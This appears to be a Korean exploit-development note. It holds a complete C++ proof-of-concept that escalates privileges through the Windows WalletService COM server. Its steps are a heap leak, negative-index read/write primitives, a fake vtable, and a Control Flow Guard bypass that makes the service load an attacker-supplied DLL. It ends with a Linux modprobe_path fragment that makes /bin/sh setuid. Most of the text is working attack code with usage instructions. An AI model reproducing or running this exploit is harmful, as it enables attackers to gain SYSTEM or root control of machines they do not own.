https://tinyurl.com/4jz2a3b3 ### Windbg Symbol ``` SRV*c:\symbols*http://msdl.microsoft.com/download/symbols ``` ### Windows Calling Convention rcx, rdx, r8, r9 , Stack... 순서로 인자 전달 코드 기준 좌측->우측 ### Memory Leak 예제 코드 ```clike= obj1->CreateCustomProperty(&obj2); if (FAILED(hr)) { PrintError(__LINE__, hr); } uint32_t high; uint32_t low; int32_t idx = -4; obj2->GetGroup(idx, &high, &low); uint64_t heapAddr = ((uint64_t)high) << 32; heapAddr += low; heapAddr -= 0x60; printf("heap @ %llx\n", heapAddr); ``` ### Eop ```clike= #include "pch.h" class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown { public: virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0); virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t* v1, uint32_t* v2); virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t v1, uint32_t v2); }; class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t* p0); virtual HRESULT __stdcall Proc4( /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2); virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1); virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1); virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1); virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1); virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0); virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1); virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1); virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t* p3); virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t p3); virtual HRESULT __stdcall Proc15(VARIANT* p0); virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1); virtual HRESULT __stdcall Proc17(int64_t* p0); virtual HRESULT __stdcall Proc18(); virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0); virtual HRESULT __stdcall Proc20(IWalletItem* p0); virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc22(int64_t* p0); }; class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown { public: virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall GetItemCount(ULONG* p0); virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1); virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1); virtual HRESULT __stdcall Proc9(int64_t p0, /* ENUM32 */ uint32_t* p1); virtual HRESULT __stdcall Proc10(IWalletItemList* p0); }; class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1); virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc5(int64_t* p0); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0); }; class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1); virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc5(int64_t* p0); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0); virtual HRESULT __stdcall Proc8(); virtual HRESULT __stdcall Proc9(int64_t* p0); virtual HRESULT __stdcall Proc10(); virtual HRESULT __stdcall Proc11(); }; class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown { public: virtual HRESULT __stdcall Proc3(IWalletItemList** p0); virtual HRESULT __stdcall Proc4(IWalletItemList** p0); virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc6(); virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0); virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0); virtual HRESULT __stdcall Proc9(IWalletItem* p0, /* ENUM32 */ uint32_t p1); virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1); virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc14(IWalletItem* p0); virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1); virtual HRESULT __stdcall Proc16(IWalletItem* p0, /* ENUM32 */ uint32_t* p1); virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1); virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc19(wchar_t* p0); }; IWalletX* obj; IWalletItem* obj1; IWalletCustomProperty* obj2, * obj3; ULONG64 heap; int PrintError(unsigned int line, HRESULT hr) { wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr); return hr; } void write(size_t addr, void *buf, UINT size=8) { uint32_t num1 = addr & 0xffffffff, num2 = addr >> 32, backup, nouse; if (num2 == -1 || num1 == 0x20) { puts("error addr, try again"); exit(-1); } obj2->GetGroup(-9, &backup, &nouse); obj2->SetGroup(-9, backup, num1); obj2->GetGroup(-8, &nouse, &backup); obj2->SetGroup(-8, num2, backup); addr = -1; num1 = addr & 0xffffffff; num2 = addr >> 32; obj2->GetGroup(-7, &backup, &nouse); obj2->SetGroup(-7, backup, num1); obj2->GetGroup(-6, &nouse, &backup); obj2->SetGroup(-6, num2, backup); tagPROPVARIANT input; input.vt = 8; input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size); obj2->SetLabel(&input); } char* read(size_t addr, size_t size=8) { uint32_t num1 = addr & 0xffffffff, num2 = addr >> 32, backup, backup1, nouse; char* buf = new char[size + 1]{ 0 }, * p = buf; obj2->GetGroup(-9, &backup, &nouse); obj2->GetGroup(-8, &nouse, &backup1); for (size_t i = 0; i < size; i++) { obj2->SetGroup(-9, backup, num1++); obj2->SetGroup(-8, num2, backup1); tagPROPVARIANT input; input.vt = 8; input.bstrVal = 0; obj2->GetLabel(&input); *p++ = *(char*)input.bstrVal; } return buf; } DWORD poc(LPVOID dllpath) { CoInitializeEx(NULL, COINIT_MULTITHREADED); HRESULT hr; CLSID clsid; IID iid; CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid); IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid); hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj); if (FAILED(hr)) { PrintError(__LINE__, hr); } hr = obj->CreateWalletItem(1, &obj1); if (FAILED(hr)) { PrintError(__LINE__, hr); } hr = obj1->CreateCustomProperty(&obj2); if (FAILED(hr)) { PrintError(__LINE__, hr); } for(int i=0;i<10;i++) hr = obj1->CreateCustomProperty(&obj3); uint32_t out1, out2; heap = 0; hr = obj2->GetGroup(-13,&out1,&out2); if (FAILED(hr)) { PrintError(__LINE__, hr); } heap = out2; hr = obj2->GetGroup(-12, &out1, &out2); if (FAILED(hr)) { PrintError(__LINE__, hr); } heap += (ULONG64)out1 << 32; printf("heap @ 0x%llx\n", heap); // heap printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20); //----------------------------------------------- size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll"); size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll"); size_t dxgi_environ = 0xC5E68 + dxgi; size_t dxgi_environ_length = 0xC5E80 + dxgi; printf("dxgi_environ @ %llx\n", dxgi_environ); printf("dxgi_environ_length @ %llx\n", dxgi_environ_length); size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500; size_t myenviron = 0x66F38 + walletservice - 0x500; printf("FakeVTBuf @ %llx\n", FakeVTBuf); printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00); printf("myenviron @ %llx\n", myenviron); write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1); size_t fakevtable_start = FakeVTBuf; size_t fakevtable[] = { 0x4141414141, 0x4141414142, 0x4141414143, dxgi + 0x011D00 }; size_t tmp; for (auto i : fakevtable) { tmp = i; write(fakevtable_start, &tmp,8); fakevtable_start += 8; } tmp = NeedFlagBuf - 0x174; write(heap + 0x60, &tmp, 8); tmp = 1; write(NeedFlagBuf, &tmp, 8); tmp = myenviron; write(dxgi_environ, &tmp, 8); tmp = 0x530; write(dxgi_environ_length, &tmp, 4); write(dxgi_environ_length + 0xc, &tmp, 8); write(heap-0x20, &FakeVTBuf, 8); // this's vtable is currupted uint32_t ac = 1; tagPROPVARIANT t = { }; hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor if (FAILED(hr)) { PrintError(__LINE__, hr); } puts("Done!"); while(1){} // hang return 0; } int wmain(int argc,wchar_t **argv) { if (argc != 2) { printf("usage: %ws .dll(Absolute_path)\n", argv[0]); exit(0); } poc(argv[1]); } ``` CFG 우회 메소드 ``` ATL::CComObject<CDXGIAdapter>::`vector deleting destructor' ``` 1. ATL::CComObject<CDXGIAdapter>::`vector deleting destructor' 메소드는 guard_fids_table에 정의된 메소드로, fake vtable 요소로 사용할 수 있음. 2. 해당 함수는 내부적으로 전역변수 문자열을 참조한 후, 해당 문자열을 경로로 LoadLibrary를 호출 3. 임의 주소에 대한 쓰기가 가능하다면, 해당 전역변수에 공격자 dll 경로를 덮어씀 4. ATL::~~ 메소드 주소를 포함한 fake vtable을 구성 5. victim 객체의 vtable을 fake vtable로 조작 modprobe_path !#/bin/sh chmod u+s /bin/sh 0xfffffff